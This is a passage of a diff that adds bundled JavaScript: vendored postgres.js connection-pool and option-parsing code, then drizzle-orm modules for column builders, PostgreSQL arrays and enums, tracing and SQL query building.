Parameter(x, type || (x.length ? inferType(x) || 25 : 0), options.shared.typeArrayMap); + } + function handler(query) { + if (ending) + return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); + if (open.length) + return go(open.shift(), query); + if (closed.length) + return connect(closed.shift(), query); + busy.length ? go(busy.shift(), query) : queries.push(query); + } + function go(c, query) { + return c.execute(query) ? move(c, busy) : move(c, full); + } + function cancel(query) { + return new Promise((resolve, reject) => { + query.state ? query.active ? connection_default(options).cancel(query.state, resolve, reject) : query.cancelled = { resolve, reject } : (queries.remove(query), query.cancelled = true, query.reject(Errors.generic("57014", "canceling statement due to user request")), resolve()); + }); + } + async function end({ timeout = null } = {}) { + if (ending) + return ending; + await 1; + let timer2; + return ending = Promise.race([ + new Promise((r) => timeout !== null && (timer2 = setTimeout(destroy, timeout * 1e3, r))), + Promise.all(connections.map((c) => c.end()).concat( + listen.sql ? listen.sql.end({ timeout: 0 }) : [], + subscribe.sql ? subscribe.sql.end({ timeout: 0 }) : [] + )) + ]).then(() => clearTimeout(timer2)); + } + async function close2() { + await Promise.all(connections.map((c) => c.end())); + } + async function destroy(resolve) { + await Promise.all(connections.map((c) => c.terminate())); + while (queries.length) + queries.shift().reject(Errors.connection("CONNECTION_DESTROYED", options)); + resolve(); + } + function connect(c, query) { + move(c, connecting); + c.connect(query); + return c; + } + function onend(c) { + move(c, ended); + } + function onopen(c) { + if (queries.length === 0) + return move(c, open); + let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; + while (ready && queries.length && max-- > 0) { + const query = queries.shift(); + if (query.reserve) + return query.reserve(c); + ready = c.execute(query); + } + ready ? move(c, busy) : move(c, full); + } + function onclose(c, e) { + move(c, closed); + c.reserved = null; + c.onclose && (c.onclose(e), c.onclose = null); + options.onclose && options.onclose(c.id); + queries.length && connect(c, queries.shift()); + } +} +function parseOptions(a, b2) { + if (a && a.shared) + return a; + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); + o.no_prepare && (o.prepare = false); + query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); + "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); + query.sslrootcert === "system" && (query.ssl = "verify-full"); + const ints = ["idle_timeout", "connect_timeout", "max_lifetime", "max_pipeline", "backoff", "keep_alive"]; + const defaults = { + max: globalThis.Cloudflare ? 3 : 10, + ssl: false, + sslnegotiation: null, + idle_timeout: null, + connect_timeout: 30, + max_lifetime, + max_pipeline: 100, + backoff, + keep_alive: 60, + prepare: true, + debug: false, + fetch_types: true, + publications: "alltables", + target_session_attrs: null + }; + return { + host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), + port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), + path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, + user, + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", + ...Object.entries(defaults).reduce( + (acc, [k, d]) => { + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; + acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; + return acc; + }, + {} + ), + connection: { + application_name: env2.PGAPPNAME || "postgres.js", + ...o.connection, + ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) + }, + types: o.types || {}, + target_session_attrs: tsa(o, url2, env2), + onnotice: o.onnotice, + onnotify: o.onnotify, + onclose: o.onclose, + onparameter: o.onparameter, + socket: o.socket, + transform: parseTransform(o.transform || { undefined: void 0 }), + parameters: {}, + shared: { retries: 0, typeArrayMap: {} }, + ...mergeUserTypes(o.types) + }; +} +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; + if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) + return x; + throw new Error("target_session_attrs " + x + " is not supported"); +} +function backoff(retries) { + return (0.5 + Math.random() / 2) * Math.min(3 ** retries / 100, 20); +} +function max_lifetime() { + return 60 * (30 + Math.random() * 30); +} +function parseTransform(x) { + return { + undefined: x.undefined, + column: { + from: typeof x.column === "function" ? x.column : x.column && x.column.from, + to: x.column && x.column.to + }, + value: { + from: typeof x.value === "function" ? x.value : x.value && x.value.from, + to: x.value && x.value.to + }, + row: { + from: typeof x.row === "function" ? x.row : x.row && x.row.from, + to: x.row && x.row.to + } + }; +} +function parseUrl(url2) { + if (!url2 || typeof url2 !== "string") + return { url: { searchParams: /* @__PURE__ */ new Map() } }; + let host = url2; + host = host.slice(host.indexOf("://") + 3).split(/[?/]/)[0]; + host = decodeURIComponent(host.slice(host.indexOf("@") + 1)); + const urlObj = new URL(url2.replace(host, host.split(",")[0])); + return { + url: { + username: decodeURIComponent(urlObj.username), + password: decodeURIComponent(urlObj.password), + host: urlObj.host, + hostname: urlObj.hostname, + port: urlObj.port, + pathname: urlObj.pathname, + searchParams: urlObj.searchParams + }, + multihost: host.indexOf(",") > -1 && host + }; +} +function osUsername() { + try { + return os.userInfo().username; + } catch (_) { + return process.env.USERNAME || process.env.USER || process.env.LOGNAME; + } +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/entity.js +var entityKind = Symbol.for("drizzle:entityKind"); +var hasOwnEntityKind = Symbol.for("drizzle:hasOwnEntityKind"); +function is(value, type) { + if (!value || typeof value !== "object") { + return false; + } + if (value instanceof type) { + return true; + } + if (!Object.prototype.hasOwnProperty.call(type, entityKind)) { + throw new Error( + `Class "${type.name ?? ""}" doesn't look like a Drizzle entity. If this is incorrect and the class is provided by Drizzle, please report this as a bug.` + ); + } + let cls = Object.getPrototypeOf(value).constructor; + if (cls) { + while (cls) { + if (entityKind in cls && cls[entityKind] === type[entityKind]) { + return true; + } + cls = Object.getPrototypeOf(cls); + } + } + return false; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/logger.js +var ConsoleLogWriter = class { + static [entityKind] = "ConsoleLogWriter"; + write(message2) { + console.log(message2); + } +}; +var DefaultLogger = class { + static [entityKind] = "DefaultLogger"; + writer; + constructor(config2) { + this.writer = config2?.writer ?? new ConsoleLogWriter(); + } + logQuery(query, params) { + const stringifiedParams = params.map((p) => { + try { + return JSON.stringify(p); + } catch { + return String(p); + } + }); + const paramsStr = stringifiedParams.length ? ` -- params: [${stringifiedParams.join(", ")}]` : ""; + this.writer.write(`Query: ${query}${paramsStr}`); + } +}; +var NoopLogger = class { + static [entityKind] = "NoopLogger"; + logQuery() { + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/query-promise.js +var QueryPromise = class { + static [entityKind] = "QueryPromise"; + [Symbol.toStringTag] = "QueryPromise"; + catch(onRejected) { + return this.then(void 0, onRejected); + } + finally(onFinally) { + return this.then( + (value) => { + onFinally?.(); + return value; + }, + (reason) => { + onFinally?.(); + throw reason; + } + ); + } + then(onFulfilled, onRejected) { + return this.execute().then(onFulfilled, onRejected); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/column.js +var Column = class { + constructor(table2, config2) { + this.table = table2; + this.config = config2; + this.name = config2.name; + this.keyAsName = config2.keyAsName; + this.notNull = config2.notNull; + this.default = config2.default; + this.defaultFn = config2.defaultFn; + this.onUpdateFn = config2.onUpdateFn; + this.hasDefault = config2.hasDefault; + this.primary = config2.primaryKey; + this.isUnique = config2.isUnique; + this.uniqueName = config2.uniqueName; + this.uniqueType = config2.uniqueType; + this.dataType = config2.dataType; + this.columnType = config2.columnType; + this.generated = config2.generated; + this.generatedIdentity = config2.generatedIdentity; + } + static [entityKind] = "Column"; + name; + keyAsName; + primary; + notNull; + default; + defaultFn; + onUpdateFn; + hasDefault; + isUnique; + uniqueName; + uniqueType; + dataType; + columnType; + enumValues = void 0; + generated = void 0; + generatedIdentity = void 0; + config; + mapFromDriverValue(value) { + return value; + } + mapToDriverValue(value) { + return value; + } + // ** @internal */ + shouldDisableInsert() { + return this.config.generated !== void 0 && this.config.generated.type !== "byDefault"; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/column-builder.js +var ColumnBuilder = class { + static [entityKind] = "ColumnBuilder"; + config; + constructor(name, dataType, columnType) { + this.config = { + name, + keyAsName: name === "", + notNull: false, + default: void 0, + hasDefault: false, + primaryKey: false, + isUnique: false, + uniqueName: void 0, + uniqueType: void 0, + dataType, + columnType, + generated: void 0 + }; + } + /** + * Changes the data type of the column. Commonly used with `json` columns. Also, useful for branded types. + * + * @example + * ```ts + * const users = pgTable('users', { + * id: integer('id').$type().primaryKey(), + * details: json('details').$type().notNull(), + * }); + * ``` + */ + $type() { + return this; + } + /** + * Adds a `not null` clause to the column definition. + * + * Affects the `select` model of the table - columns *without* `not null` will be nullable on select. + */ + notNull() { + this.config.notNull = true; + return this; + } + /** + * Adds a `default ` clause to the column definition. + * + * Affects the `insert` model of the table - columns *with* `default` are optional on insert. + * + * If you need to set a dynamic default value, use {@link $defaultFn} instead. + */ + default(value) { + this.config.default = value; + this.config.hasDefault = true; + return this; + } + /** + * Adds a dynamic default value to the column. + * The function will be called when the row is inserted, and the returned value will be used as the column value. + * + * **Note:** This value does not affect the `drizzle-kit` behavior, it is only used at runtime in `drizzle-orm`. + */ + $defaultFn(fn) { + this.config.defaultFn = fn; + this.config.hasDefault = true; + return this; + } + /** + * Alias for {@link $defaultFn}. + */ + $default = this.$defaultFn; + /** + * Adds a dynamic update value to the column. + * The function will be called when the row is updated, and the returned value will be used as the column value if none is provided. + * If no `default` (or `$defaultFn`) value is provided, the function will be called when the row is inserted as well, and the returned value will be used as the column value. + * + * **Note:** This value does not affect the `drizzle-kit` behavior, it is only used at runtime in `drizzle-orm`. + */ + $onUpdateFn(fn) { + this.config.onUpdateFn = fn; + this.config.hasDefault = true; + return this; + } + /** + * Alias for {@link $onUpdateFn}. + */ + $onUpdate = this.$onUpdateFn; + /** + * Adds a `primary key` clause to the column definition. This implicitly makes the column `not null`. + * + * In SQLite, `integer primary key` implicitly makes the column auto-incrementing. + */ + primaryKey() { + this.config.primaryKey = true; + this.config.notNull = true; + return this; + } + /** @internal Sets the name of the column to the key within the table definition if a name was not given. */ + setName(name) { + if (this.config.name !== "") return; + this.config.name = name; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/table.utils.js +var TableName = Symbol.for("drizzle:Name"); + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/foreign-keys.js +var ForeignKeyBuilder = class { + static [entityKind] = "PgForeignKeyBuilder"; + /** @internal */ + reference; + /** @internal */ + _onUpdate = "no action"; + /** @internal */ + _onDelete = "no action"; + constructor(config2, actions) { + this.reference = () => { + const { name, columns, foreignColumns } = config2(); + return { name, columns, foreignTable: foreignColumns[0].table, foreignColumns }; + }; + if (actions) { + this._onUpdate = actions.onUpdate; + this._onDelete = actions.onDelete; + } + } + onUpdate(action) { + this._onUpdate = action === void 0 ? "no action" : action; + return this; + } + onDelete(action) { + this._onDelete = action === void 0 ? "no action" : action; + return this; + } + /** @internal */ + build(table2) { + return new ForeignKey(table2, this); + } +}; +var ForeignKey = class { + constructor(table2, builder) { + this.table = table2; + this.reference = builder.reference; + this.onUpdate = builder._onUpdate; + this.onDelete = builder._onDelete; + } + static [entityKind] = "PgForeignKey"; + reference; + onUpdate; + onDelete; + getName() { + const { name, columns, foreignColumns } = this.reference(); + const columnNames = columns.map((column) => column.name); + const foreignColumnNames = foreignColumns.map((column) => column.name); + const chunks2 = [ + this.table[TableName], + ...columnNames, + foreignColumns[0].table[TableName], + ...foreignColumnNames + ]; + return name ?? `${chunks2.join("_")}_fk`; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/tracing-utils.js +function iife(fn, ...args) { + return fn(...args); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/unique-constraint.js +function uniqueKeyName(table2, columns) { + return `${table2[TableName]}_${columns.join("_")}_unique`; +} +var UniqueConstraintBuilder = class { + constructor(columns, name) { + this.name = name; + this.columns = columns; + } + static [entityKind] = "PgUniqueConstraintBuilder"; + /** @internal */ + columns; + /** @internal */ + nullsNotDistinctConfig = false; + nullsNotDistinct() { + this.nullsNotDistinctConfig = true; + return this; + } + /** @internal */ + build(table2) { + return new UniqueConstraint(table2, this.columns, this.nullsNotDistinctConfig, this.name); + } +}; +var UniqueOnConstraintBuilder = class { + static [entityKind] = "PgUniqueOnConstraintBuilder"; + /** @internal */ + name; + constructor(name) { + this.name = name; + } + on(...columns) { + return new UniqueConstraintBuilder(columns, this.name); + } +}; +var UniqueConstraint = class { + constructor(table2, columns, nullsNotDistinct, name) { + this.table = table2; + this.columns = columns; + this.name = name ?? uniqueKeyName(this.table, this.columns.map((column) => column.name)); + this.nullsNotDistinct = nullsNotDistinct; + } + static [entityKind] = "PgUniqueConstraint"; + columns; + name; + nullsNotDistinct = false; + getName() { + return this.name; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/utils/array.js +function parsePgArrayValue(arrayString, startFrom, inQuotes) { + for (let i = startFrom; i < arrayString.length; i++) { + const char2 = arrayString[i]; + if (char2 === "\\") { + i++; + continue; + } + if (char2 === '"') { + return [arrayString.slice(startFrom, i).replace(/\\/g, ""), i + 1]; + } + if (inQuotes) { + continue; + } + if (char2 === "," || char2 === "}") { + return [arrayString.slice(startFrom, i).replace(/\\/g, ""), i]; + } + } + return [arrayString.slice(startFrom).replace(/\\/g, ""), arrayString.length]; +} +function parsePgNestedArray(arrayString, startFrom = 0) { + const result = []; + let i = startFrom; + let lastCharIsComma = false; + while (i < arrayString.length) { + const char2 = arrayString[i]; + if (char2 === ",") { + if (lastCharIsComma || i === startFrom) { + result.push(""); + } + lastCharIsComma = true; + i++; + continue; + } + lastCharIsComma = false; + if (char2 === "\\") { + i += 2; + continue; + } + if (char2 === '"') { + const [value2, startFrom2] = parsePgArrayValue(arrayString, i + 1, true); + result.push(value2); + i = startFrom2; + continue; + } + if (char2 === "}") { + return [result, i + 1]; + } + if (char2 === "{") { + const [value2, startFrom2] = parsePgNestedArray(arrayString, i + 1); + result.push(value2); + i = startFrom2; + continue; + } + const [value, newStartFrom] = parsePgArrayValue(arrayString, i, false); + result.push(value); + i = newStartFrom; + } + return [result, i]; +} +function parsePgArray(arrayString) { + const [result] = parsePgNestedArray(arrayString, 1); + return result; +} +function makePgArray(array2) { + return `{${array2.map((item) => { + if (Array.isArray(item)) { + return makePgArray(item); + } + if (typeof item === "string") { + return `"${item.replace(/\\/g, "\\\\").replace(/"/g, '\\"')}"`; + } + return `${item}`; + }).join(",")}}`; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/common.js +var PgColumnBuilder = class extends ColumnBuilder { + foreignKeyConfigs = []; + static [entityKind] = "PgColumnBuilder"; + array(size2) { + return new PgArrayBuilder(this.config.name, this, size2); + } + references(ref, actions = {}) { + this.foreignKeyConfigs.push({ ref, actions }); + return this; + } + unique(name, config2) { + this.config.isUnique = true; + this.config.uniqueName = name; + this.config.uniqueType = config2?.nulls; + return this; + } + generatedAlwaysAs(as) { + this.config.generated = { + as, + type: "always", + mode: "stored" + }; + return this; + } + /** @internal */ + buildForeignKeys(column, table2) { + return this.foreignKeyConfigs.map(({ ref, actions }) => { + return iife( + (ref2, actions2) => { + const builder = new ForeignKeyBuilder(() => { + const foreignColumn = ref2(); + return { columns: [column], foreignColumns: [foreignColumn] }; + }); + if (actions2.onUpdate) { + builder.onUpdate(actions2.onUpdate); + } + if (actions2.onDelete) { + builder.onDelete(actions2.onDelete); + } + return builder.build(table2); + }, + ref, + actions + ); + }); + } + /** @internal */ + buildExtraConfigColumn(table2) { + return new ExtraConfigColumn(table2, this.config); + } +}; +var PgColumn = class extends Column { + constructor(table2, config2) { + if (!config2.uniqueName) { + config2.uniqueName = uniqueKeyName(table2, [config2.name]); + } + super(table2, config2); + this.table = table2; + } + static [entityKind] = "PgColumn"; +}; +var ExtraConfigColumn = class extends PgColumn { + static [entityKind] = "ExtraConfigColumn"; + getSQLType() { + return this.getSQLType(); + } + indexConfig = { + order: this.config.order ?? "asc", + nulls: this.config.nulls ?? "last", + opClass: this.config.opClass + }; + defaultConfig = { + order: "asc", + nulls: "last", + opClass: void 0 + }; + asc() { + this.indexConfig.order = "asc"; + return this; + } + desc() { + this.indexConfig.order = "desc"; + return this; + } + nullsFirst() { + this.indexConfig.nulls = "first"; + return this; + } + nullsLast() { + this.indexConfig.nulls = "last"; + return this; + } + /** + * ### PostgreSQL documentation quote + * + * > An operator class with optional parameters can be specified for each column of an index. + * The operator class identifies the operators to be used by the index for that column. + * For example, a B-tree index on four-byte integers would use the int4_ops class; + * this operator class includes comparison functions for four-byte integers. + * In practice the default operator class for the column's data type is usually sufficient. + * The main point of having operator classes is that for some data types, there could be more than one meaningful ordering. + * For example, we might want to sort a complex-number data type either by absolute value or by real part. + * We could do this by defining two operator classes for the data type and then selecting the proper class when creating an index. + * More information about operator classes check: + * + * ### Useful links + * https://www.postgresql.org/docs/current/sql-createindex.html + * + * https://www.postgresql.org/docs/current/indexes-opclass.html + * + * https://www.postgresql.org/docs/current/xindex.html + * + * ### Additional types + * If you have the `pg_vector` extension installed in your database, you can use the + * `vector_l2_ops`, `vector_ip_ops`, `vector_cosine_ops`, `vector_l1_ops`, `bit_hamming_ops`, `bit_jaccard_ops`, `halfvec_l2_ops`, `sparsevec_l2_ops` options, which are predefined types. + * + * **You can always specify any string you want in the operator class, in case Drizzle doesn't have it natively in its types** + * + * @param opClass + * @returns + */ + op(opClass) { + this.indexConfig.opClass = opClass; + return this; + } +}; +var IndexedColumn = class { + static [entityKind] = "IndexedColumn"; + constructor(name, keyAsName, type, indexConfig) { + this.name = name; + this.keyAsName = keyAsName; + this.type = type; + this.indexConfig = indexConfig; + } + name; + keyAsName; + type; + indexConfig; +}; +var PgArrayBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgArrayBuilder"; + constructor(name, baseBuilder, size2) { + super(name, "array", "PgArray"); + this.config.baseBuilder = baseBuilder; + this.config.size = size2; + } + /** @internal */ + build(table2) { + const baseColumn = this.config.baseBuilder.build(table2); + return new PgArray( + table2, + this.config, + baseColumn + ); + } +}; +var PgArray = class _PgArray extends PgColumn { + constructor(table2, config2, baseColumn, range) { + super(table2, config2); + this.baseColumn = baseColumn; + this.range = range; + this.size = config2.size; + } + size; + static [entityKind] = "PgArray"; + getSQLType() { + return `${this.baseColumn.getSQLType()}[${typeof this.size === "number" ? this.size : ""}]`; + } + mapFromDriverValue(value) { + if (typeof value === "string") { + value = parsePgArray(value); + } + return value.map((v) => this.baseColumn.mapFromDriverValue(v)); + } + mapToDriverValue(value, isNestedArray = false) { + const a = value.map( + (v) => v === null ? null : is(this.baseColumn, _PgArray) ? this.baseColumn.mapToDriverValue(v, true) : this.baseColumn.mapToDriverValue(v) + ); + if (isNestedArray) return a; + return makePgArray(a); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/enum.js +var PgEnumObjectColumnBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgEnumObjectColumnBuilder"; + constructor(name, enumInstance) { + super(name, "string", "PgEnumObjectColumn"); + this.config.enum = enumInstance; + } + /** @internal */ + build(table2) { + return new PgEnumObjectColumn( + table2, + this.config + ); + } +}; +var PgEnumObjectColumn = class extends PgColumn { + static [entityKind] = "PgEnumObjectColumn"; + enum; + enumValues = this.config.enum.enumValues; + constructor(table2, config2) { + super(table2, config2); + this.enum = config2.enum; + } + getSQLType() { + return this.enum.enumName; + } +}; +var isPgEnumSym = Symbol.for("drizzle:isPgEnum"); +function isPgEnum(obj) { + return !!obj && typeof obj === "function" && isPgEnumSym in obj && obj[isPgEnumSym] === true; +} +var PgEnumColumnBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgEnumColumnBuilder"; + constructor(name, enumInstance) { + super(name, "string", "PgEnumColumn"); + this.config.enum = enumInstance; + } + /** @internal */ + build(table2) { + return new PgEnumColumn( + table2, + this.config + ); + } +}; +var PgEnumColumn = class extends PgColumn { + static [entityKind] = "PgEnumColumn"; + enum = this.config.enum; + enumValues = this.config.enum.enumValues; + constructor(table2, config2) { + super(table2, config2); + this.enum = config2.enum; + } + getSQLType() { + return this.enum.enumName; + } +}; +function pgEnum(enumName, input) { + return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +} +function pgEnumWithSchema(enumName, values2, schema) { + const enumInstance = Object.assign( + (name) => new PgEnumColumnBuilder(name ?? "", enumInstance), + { + enumName, + enumValues: values2, + schema, + [isPgEnumSym]: true + } + ); + return enumInstance; +} +function pgEnumObjectWithSchema(enumName, values2, schema) { + const enumInstance = Object.assign( + (name) => new PgEnumObjectColumnBuilder(name ?? "", enumInstance), + { + enumName, + enumValues: Object.values(values2), + schema, + [isPgEnumSym]: true + } + ); + return enumInstance; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js +var Subquery = class { + static [entityKind] = "Subquery"; + constructor(sql3, fields, alias, isWith = false, usedTables = []) { + this._ = { + brand: "Subquery", + sql: sql3, + selectedFields: fields, + alias, + isWith, + usedTables + }; + } + // getSQL(): SQL { + // return new SQL([this]); + // } +}; +var WithSubquery = class extends Subquery { + static [entityKind] = "WithSubquery"; +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/version.js +var version2 = "0.45.2"; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/tracing.js +var otel; +var rawTracer; +var tracer = { + startActiveSpan(name, fn) { + if (!otel) { + return fn(); + } + if (!rawTracer) { + rawTracer = otel.trace.getTracer("drizzle-orm", version2); + } + return iife( + (otel2, rawTracer2) => rawTracer2.startActiveSpan( + name, + (span) => { + try { + return fn(span); + } catch (e) { + span.setStatus({ + code: otel2.SpanStatusCode.ERROR, + message: e instanceof Error ? e.message : "Unknown error" + // eslint-disable-line no-instanceof/no-instanceof + }); + throw e; + } finally { + span.end(); + } + } + ), + otel, + rawTracer + ); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/view-common.js +var ViewBaseConfig = Symbol.for("drizzle:ViewBaseConfig"); + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/table.js +var Schema = Symbol.for("drizzle:Schema"); +var Columns = Symbol.for("drizzle:Columns"); +var ExtraConfigColumns = Symbol.for("drizzle:ExtraConfigColumns"); +var OriginalName = Symbol.for("drizzle:OriginalName"); +var BaseName = Symbol.for("drizzle:BaseName"); +var IsAlias = Symbol.for("drizzle:IsAlias"); +var ExtraConfigBuilder = Symbol.for("drizzle:ExtraConfigBuilder"); +var IsDrizzleTable = Symbol.for("drizzle:IsDrizzleTable"); +var Table = class { + static [entityKind] = "Table"; + /** @internal */ + static Symbol = { + Name: TableName, + Schema, + OriginalName, + Columns, + ExtraConfigColumns, + BaseName, + IsAlias, + ExtraConfigBuilder + }; + /** + * @internal + * Can be changed if the table is aliased. + */ + [TableName]; + /** + * @internal + * Used to store the original name of the table, before any aliasing. + */ + [OriginalName]; + /** @internal */ + [Schema]; + /** @internal */ + [Columns]; + /** @internal */ + [ExtraConfigColumns]; + /** + * @internal + * Used to store the table name before the transformation via the `tableCreator` functions. + */ + [BaseName]; + /** @internal */ + [IsAlias] = false; + /** @internal */ + [IsDrizzleTable] = true; + /** @internal */ + [ExtraConfigBuilder] = void 0; + constructor(name, schema, baseName) { + this[TableName] = this[OriginalName] = name; + this[Schema] = schema; + this[BaseName] = baseName; + } +}; +function getTableName(table2) { + return table2[TableName]; +} +function getTableUniqueName(table2) { + return `${table2[Schema] ?? "public"}.${table2[TableName]}`; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/sql/sql.js +var FakePrimitiveParam = class { + static [entityKind] = "FakePrimitiveParam"; +}; +function isSQLWrapper(value) { + return value !== null && value !== void 0 && typeof value.getSQL === "function"; +} +function mergeQueries(queries) { + const result = { sql: "", params: [] }; + for (const query of queries) { + result.sql += query.sql; + result.params.push(...query.params); + if (query.typings?.length) { + if (!result.typings) { + result.typings = []; + } + result.typings.push(...query.typings); + } + } + return result; +} +var StringChunk = class { + static [entityKind] = "StringChunk"; + value; + constructor(value) { + this.value = Array.isArray(value) ? value : [value]; + } + getSQL() { + return new SQL([this]); + } +}; +var SQL = class _SQL { + constructor(queryChunks) { + this.queryChunks = queryChunks; + for (const chunk of queryChunks) { + if (is(chunk, Table)) { + const schemaName = chunk[Table.Symbol.Schema]; + this.usedTables.push( + schemaName === void 0 ? chunk[Table.Symbol.Name] : schemaName + "." + chunk[Table.Symbol.Name] + ); + } + } + } + static [entityKind] = "SQL"; + /** @internal */ + decoder = noopDecoder; + shouldInlineParams = false; + /** @internal */ + usedTables = []; + append(query) { + this.queryChunks.push(...query.queryChunks); + return this; + } + toQuery(config2) { + return tracer.startActiveSpan("drizzle.buildSQL", (span) => { + const query = this.buildQueryFromSourceParams(this.queryChunks, config2); + span?.setAttributes({ + "drizzle.query.text": query.sql, + "drizzle.query.params": JSON.stringify(query.params) + }); + return query; + }); + } + buildQueryFromSourceParams(chunks2, _config) { + const config2 = Object.assign({}, _config, { + inlineParams: _config.inlineParams || this.shouldInlineParams, + paramStartIndex: _config.paramStartIndex || { value: 0 } + }); + const { + casing, + escapeName, + escapeParam, + prepareTyping, + inlineParams, + paramStartIndex + } = config2; + return mergeQueries(chunks2.map((chunk) => { + if (is(chunk, StringChunk)) { + return { sql: chunk.value.join(""), params: [] }; + } + if (is(chunk, Name)) { + return { sql: escapeName(chunk.value), params: [] }; + } + if (chunk === void 0) { + return { sql: "", params: [] }; + } + if (Array.isArray(chunk)) { + const result = [new StringChunk("(")]; + for (const [i, p] of chunk.entries()) { + result.push(p); + if (i < chunk.length - 1) { + result.push(new StringChunk(", ")); + } + } + result.push(new StringChunk(")")); + return this.buildQueryFromSourceParams(result, config2); + } + if (is(chunk, _SQL)) { + return this.buildQueryFromSourceParams(chunk.queryChunks, { + ...config2, + inlineParams: inlineParams || chunk.shouldInlineParams + }); + } + if (is(chunk, Table)) { + const schemaName = chunk[Table.Symbol.Schema]; + const tableName = chunk[Table.Symbol.Name]; + return { + sql: schemaName === void 0 || chunk[IsAlias] ? escapeName(tableName) : escapeName(schemaName) + "." + escapeName(tableName), + params: [] + }; + } + if (is(chunk, Column)) { + const columnName = casing.getColumnCasing(chunk); + if (_config.invokeSource === "indexes") { + return { sql: escapeName(columnName), params: [] }; + } + const schemaName = chunk.table[Table.Symbol.Schema]; + return { + sql: chunk.table[IsAlias] || schemaName === void 0 ? escapeName(chunk.table[Table.Symbol.Name]) + "." + escapeName(columnName) : escapeName(schemaName) + "." + escapeName(chunk.table[Table.Symbol.Name]) + "." + escapeName(columnName), + params: [] + }; + } + if (is(chunk, View)) { + const schemaName = chunk[ViewBaseConfig].schema; + const viewName = chunk[ViewBaseConfig].name; + return { + sql: schemaName === void 0 || chunk[ViewBaseConfig].isAlias ? escapeName(viewName) : escapeName(schemaName) + "." + escapeName(viewName), + params: [] + }; + } + if (is(chunk, Param)) { + if (is(chunk.value, Placeholder)) { + return { sql: escapeParam(paramStartIndex.value++, chunk), params: [chunk], typings: ["none"] }; + } + const mappedValue = chunk.value === null ? null : chunk.encoder.mapToDriverValue(chunk.value); + if (is(mappedValue, _SQL)) { + return this.buildQueryFromSourceParams([mappedValue], config2); + } + if (inlineParams) { + return { sql: this.mapInlineParam(mappedValue, config2), params: [] }; + } + let typings = ["none"]; + if (prepareTyping) { + typings = [prepareTyping(chunk.encoder)]; + } + return { sql: escapeParam(paramStartIndex.value++, mappedValue), params: [mappedValue], typings }; + } + if (is(chunk, Placeholder)) { + return { sql: escapeParam(paramStartIndex.value++, chunk), params: [chunk], typings: ["none"] }; + } + if (is(chunk, _SQL.Aliased) && chunk.fieldAlias !== void 0) { + return { sql: escapeName(chunk.fieldAlias), params: [] }; + } + if (is(chunk, Subquery)) { + if (chunk._.isWith) { + return { sql: 